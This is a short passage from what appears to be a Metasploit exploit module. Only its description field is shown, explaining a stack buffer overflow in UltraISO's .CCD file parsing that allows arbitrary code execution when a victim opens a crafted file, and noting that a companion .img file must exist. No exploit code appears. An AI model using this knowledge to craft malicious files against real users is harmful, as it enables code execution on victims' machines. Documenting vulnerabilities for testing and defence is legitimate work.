   'Description'    => %q{
     This module exploits a stack-based buffer overflow in EZB Systems, Inc's
    UltraISO. When processing .CCD files, data is read from file into a
    fixed-size stack buffer. Since no bounds checking is done, a buffer overflow
    can occur. Attackers can execute arbitrary code by convincing their victim
    to open an CCD file.

    NOTE: A file with the same base name, but the extension of "img" must also
    exist. Opening either file will trigger the vulnerability, but the files must
    both exist.
